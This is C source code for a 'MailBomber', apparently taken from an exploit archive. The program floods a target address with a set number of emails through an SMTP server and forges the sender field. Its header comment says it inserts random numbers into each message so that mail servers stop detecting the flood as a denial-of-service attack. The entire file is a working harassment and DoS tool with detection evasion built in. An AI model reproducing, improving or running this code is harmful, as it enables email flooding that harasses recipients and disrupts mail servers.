Unix C Based MailBomber.
5a0dbec087ff6bd31b8ef9eb1d679cdc2a31bc250839820ec4c086b35871faff
/*
Unix C Based MailBomber.
by c0w3
Hacked together for some testing.
Pops a random number in emails now as well.
compile:
gcc -o mailbomb mailbomb.c -Wall
0.2 new features:
Some SMTP servers used to bust us after about 8 emails noticing that we were
sending a dOs attack (a default redhat 9 build did ayway) - this was due to sending identical emails each time.
*/
#include <stdio.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#include <stdlib.h>
void smtp_connect(char *server);
int thesock;
FILE *a; /* the stream were we pick the random seed */
int showmeyourseed; /* the seed */
/* random seed generator function */
int random_seed(void) {
a=fopen("/dev/random","r"); /* opening /dev/random with read only flag */
/* get the first character from /dev/random , should be enough (i think) */
showmeyourseed=getc(a);
/* using the random seed */
srand(showmeyourseed);
/* flushing the stream as well */
fflush(a);
}
void smtp_connect(char *server)
{
struct sockaddr_in sin;
struct hostent *hp;
hp = gethostbyname(server);
if (hp==NULL) {
printf("Sorry.. unable to find host: %s\n",server);
exit(0);
}
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(25);
thesock = socket(AF_INET, SOCK_STREAM, 0);
connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
}
void main(int argc, char **argv)
{
char buf[1500];
int a,i;
char end[50];
int rand_num;
if (argc != 7) {
printf("Linux/Unix Mailbomber, by c0w3.\n");
printf("\nUsage: %s, #of emails, SMTP Server, to, from, Subject, Message\n", argv[0]);
exit(0);
}
i = atoi(argv[1]);
printf("Connecting to %s on SMTP port 25\n",argv[2]);
smtp_connect(argv[2]);
printf("Sending Mail to %s, from %s.\n",argv[4],argv[3]);
sprintf(buf, "ehlo hp.com\n"); // Sorry HP.
send(thesock, buf, strlen(buf), 0);
for(a=1;a<=i;a++) {
random_seed(); /* now we using our random seed function */
rand_num=1+(int) (100000.0*rand()/(RAND_MAX+1.0));
/* change 100000.0 for another range of random numbers */
sprintf(buf, "mail from: %d%s\nrcpt to: %s\ndata\nTo: %s\nSubject: %s\n%s\n\n\n\n\n------------------\nYour lucky number is: %d\n------------------\n%s\n\n.\n", rand_num, argv[4], argv[3], argv[3], argv[5], argv[6], rand_num, argv[4]);
send(thesock, buf, strlen(buf), 0);
printf("\nQuick Sleep to ensure Data Integrity ...\n");
sleep(2);
/* Random Numner to stop SMTP servers picking up on a mail DoS */
printf("%d\n",rand_num);
printf("Email %i Sent..\n",a);
}
sprintf(end, "quit\n");
send(thesock, end, strlen(end), 0);
printf("\n-- begin example sent email --\n");
printf(buf);
printf("\n-- EOF --\n");
a = a-1;
printf("Total Number of emails sent: %i\n",a);
}
/* end */